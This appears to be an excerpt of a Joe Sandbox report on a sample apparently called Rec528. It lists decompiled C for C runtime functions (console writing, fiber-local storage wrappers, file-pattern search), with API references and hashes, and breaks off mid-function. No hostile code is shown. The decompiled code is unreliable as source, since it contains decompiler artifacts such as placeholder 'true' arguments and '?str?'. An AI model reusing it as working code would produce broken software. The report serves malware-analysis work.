fileCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000B668(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x10017004; // 0x2b917a71
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x10018128 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E10006961( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x10018128 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x10017750; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x10018128 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E1000C296( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x10017750)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x10018128 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E10005070( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x10018128 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E1000C296( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E10008D54(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, ?str?,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E10009EF0(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push("true");
								_push(_t269);
								goto L26;
							} else {
								_t202 =  &(_t269[1]);
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x10018128 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x10018128 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x10018128 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E10009DB5( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E10009DB5();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E100026A5(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x1000b673
0x1000b67a
0x1000b67d
0x1000b685
0x1000b688
0x1000b695
0x1000b698
0x1000b69b
0x1000b6a2
0x1000b6aa
0x1000b6ad
0x1000b6b0
0x1000b6b6
0x1000b6b8
0x1000b6bf
0x1000b6c9
0x1000b6cb
0x1000b6ce
0x1000b6d1
0x1000b6d4
0x1000b6d7
0x1000b6da
0x1000b6e0
0x1000b9eb
0x1000b9eb
0x00000000
0x1000b6e6
0x1000b6ee
0x1000b6f1
0x1000b6f7
0x1000b6fa
0x1000b701
0x1000b708
0x1000b70b
0x00000000
0x00000000
0x1000b714
0x1000b719
0x1000b71b
0x1000b71e
0x1000b723
0x1000b727
0x00000000
0x00000000
0x00000000
0x1000b727
0x1000b72c
0x1000b72e
0x1000b733
0x1000b7ed
0x1000b7f4
0x1000b7f5
0x1000b7f8
0x1000b7fa
0x1000b99e
0x1000b9a0
0x00000000
0x1000b9a2
0x1000b9a2
0x1000b9a5
0x1000b9b4
0x1000b9b8
0x1000b9b9
0x1000b9b9
0x00000000
0x1000b9bd
0x1000b800
0x1000b802
0x1000b808
0x1000b80b
0x1000b817
0x1000b820
0x1000b82b
0x1000b830
0x1000b833
0x1000b836
0x00000000
0x1000b83c
0x1000b83c
0x00000000
0x1000b83c
0x1000b836
0x1000b739
0x1000b748
0x1000b749
0x1000b74c
0x1000b74f
0x1000b754
0x1000b96a
0x1000b96c
0x1000b96e
0x1000b970
0x1000b97a
0x1000b982
0x1000b984
0x1000b985
0x1000b989
0x1000b98c
0x1000b98c
0x1000b990
0x1000b990
0x1000b990
0x1000b993
0x1000b993
0x1000b993
0x1000b995
0x1000b995
0x1000b999
0x1000b75a
0x1000b75a
0x1000b75d
0x1000b75f
0x1000b762
0x1000b765
0x1000b769
0x1000b76a
0x1000b76e
0x1000b771
0x1000b776
0x1000b780
0x1000b785
0x1000b788
0x1000b78b
0x1000b78b
0x1000b78e
0x1000b791
0x1000b793
0x1000b79c
0x1000b7a0
0x1000b7a1
0x1000b7a5
0x1000b7ab
0x1000b7b4
0x1000b7c1
0x1000b7c8
0x1000b7cc
0x1000b7d7
0x1000b7dc
0x1000b7e2
0x00000000
0x1000b7e8
0x1000b83f
0x1000b840
0x1000b8c3
0x1000b8ca
0x1000b8d2
0x1000b8da
0x1000b8df
0x1000b8e2
0x1000b8e7
0x00000000
0x1000b8ed
0x1000b902
0x1000b9e2
0x1000b9e8
0x00000000
0x1000b908
0x1000b911
0x1000b913
0x1000b919
0x00000000
0x1000b91f
0x1000b923
0x1000b959
0x1000b95c
0x00000000
0x1000b962
0x1000b962
0x00000000
0x1000b962
0x1000b925
0x1000b927
0x1000b929
0x1000b942
0x00000000
0x1000b948
0x1000b94c
0x00000000
0x1000b952
0x1000b952
0x1000b955
0x1000b956
0x00000000
0x1000b956
0x1000b94c
0x1000b942
0x1000b923
0x1000b919
0x1000b902
0x1000b8e7
0x1000b7e2
0x1000b754
0x00000000
0x1000b844
0x1000b844
0x1000b848
0x1000b84b
0x1000b86d
0x1000b870
0x1000b875
0x1000b879
0x1000b87d
0x1000b8ab
0x1000b8ad
0x00000000
0x1000b87f
0x1000b87f
0x1000b882
0x1000b885
0x1000b888
0x1000b9bf
0x1000b9c2
0x1000b9c5
0x1000b9cf
0x1000b9da
0x1000b9df
0x00000000
0x1000b88e
0x1000b895
0x1000b89a
0x1000b89d
0x1000b8a0
0x00000000
0x1000b8a6
0x1000b8a6
0x00000000
0x1000b8a6
0x1000b8a0
0x1000b888
0x1000b84d
0x1000b851
0x1000b854
0x1000b859
0x1000b85f
0x1000b861
0x1000b868
0x1000b8ae
0x1000b8b1
0x1000b8b2
0x1000b8b7
0x1000b8ba
0x1000b8bd
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b8bd
0x00000000
0x1000b84b
0x1000b6e6
0x1000b9ee
0x1000b9ee
0x1000b9f0
0x1000b9f3
0x1000b9f3
0x1000b9f3
0x1000b9f3
0x1000ba05
0x1000ba07
0x1000ba08
0x1000ba09
0x1000ba13

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 1000B6B0
__fassign.LIBCMT ref: 1000B895
__fassign.LIBCMT ref: 1000B8B2
WriteFile.KERNEL32(?,00000020,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B8FA
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1000B93A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B9E2

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 097549b3cd2c9408e50889de6714abab221e55fe4ef52fe460242119fed2154a
Instruction ID: 804339c2ab9ca531080afddb9689496ae25b9d637466f115f449b3e6ccf07116
Opcode Fuzzy Hash: 097549b3cd2c9408e50889de6714abab221e55fe4ef52fe460242119fed2154a
Instruction Fuzzy Hash: A5C1AF75D046589FEB11CFE8C8809EDBBB9FF08354F28816AE955B7245D631AE02CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00411D24 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E00411D24(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x43d080 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00413050(_t13, __eflags,  *0x43d080);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E0041308B(_t14, __eflags,  *0x43d080, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push("true");
								_t27 = E0041941E();
								_pop(_t18);
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E0041308B(_t18, __eflags,  *0x43d080, 0);
								} else {
									_t8 = E0041308B(_t18, __eflags,  *0x43d080, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00415EF8(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x00411d24
0x00411d2b
0x00411d3e
0x00411d45
0x00411d47
0x00411d48
0x00411d4b
0x00411d64
0x00411d64
0x00411d4d
0x00411d4d
0x00411d4f
0x00411d59
0x00411d60
0x00411d62
0x00411d69
0x00411d6b
0x00411d72
0x00411d75
0x00411d76
0x00411d78
0x00411d8c
0x00411d8c
0x00411d95
0x00411d7a
0x00411d81
0x00411d87
0x00411d88
0x00411d8a
0x00411d9e
0x00411da0
0x00411da0
0x00000000
0x00000000
0x00000000
0x00411d8a
0x00411da3
0x00000000
0x00000000
0x00000000
0x00411d62
0x00411d4f
0x00411dab
0x00411db5
0x00411d2d
0x00411d2f
0x00411d2f

APIs

GetLastError.KERNEL32(?,?,00411D1B,00410121,0040F759), ref: 00411D32
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00411D40
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00411D59
SetLastError.KERNEL32(00000000,00411D1B,00410121,0040F759), ref: 00411DAB

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
Instruction ID: 71ba8d15746a3766ab297c8b2ffbe03a6e88efaf6a5283193a4727f9c150b75d
Opcode Fuzzy Hash: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
Instruction Fuzzy Hash: 0501F732A1D7215EA7382B76BD856EB2A94EB41B7A720033FF610811F1EF596C93914C

Uniqueness

Uniqueness Score: -1.00%

Function 10003D9A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E10003D9A(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x10017020 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E10004F5B(_t13, __eflags,  *0x10017020);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E10004F96(_t14, __eflags,  *0x10017020, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push("true");
								_t27 = E10006956();
								_pop(_t18);
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E10004F96(_t18, __eflags,  *0x10017020, 0);
								} else {
									_t8 = E10004F96(_t18, __eflags,  *0x10017020, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E10005B84(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x10003d9a
0x10003da1
0x10003db4
0x10003dbb
0x10003dbd
0x10003dbe
0x10003dc1
0x10003dda
0x10003dda
0x10003dc3
0x10003dc3
0x10003dc5
0x10003dcf
0x10003dd6
0x10003dd8
0x10003ddf
0x10003de1
0x10003de8
0x10003deb
0x10003dec
0x10003dee
0x10003e02
0x10003e02
0x10003e0b
0x10003df0
0x10003df7
0x10003dfd
0x10003dfe
0x10003e00
0x10003e14
0x10003e16
0x10003e16
0x00000000
0x00000000
0x00000000
0x10003e00
0x10003e19
0x00000000
0x00000000
0x00000000
0x10003dd8
0x10003dc5
0x10003e21
0x10003e2b
0x10003da3
0x10003da5
0x10003da5

APIs

GetLastError.KERNEL32(00000001,?,10003BA1,10002D56,1000274D,?,10002985,?,00000001,?,?,00000001,?,10015758,0000000C,10002A7E), ref: 10003DA8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003DB6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003DCF
SetLastError.KERNEL32(00000000,10002985,?,00000001,?,?,00000001,?,10015758,0000000C,10002A7E,?,00000001,?), ref: 10003E21

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 771aeb49660016f9d5647455081cf89269a185284411c32b0fd4ff88b1ef2e2d
Instruction ID: b990e60918235e4ac70af63d19640b18bd6850258aa6d70c0182e592d86f0761
Opcode Fuzzy Hash: 771aeb49660016f9d5647455081cf89269a185284411c32b0fd4ff88b1ef2e2d
Instruction Fuzzy Hash: 2901B1376087229EF217C6B4ACC9A1B37EDEB092F5721832AF518851E9EE619C019244

Uniqueness

Uniqueness Score: -1.00%

Function 00423BBE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00423BBE(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_v20 = _t264 + 1;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E0041A517(_t136, _t271, _v8, "true");
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E00427E4C(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E004134C4();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t277 = _t239 + 1;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t225 = _t285 + 1 + _t241;
											_t300 = E0041E1DB(_t225, "true");
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E00427E4C(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E004240F1(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E0041E238(_t300);
														_t302 = _v12;
													}
													E0041E238(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E00427E4C(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E004134C4();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x43d054; // 0x298e9dc2
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E0042B090(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E00419CDB(_t244 - _t287 + 1, _t287,  &_v676, E00423A98(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
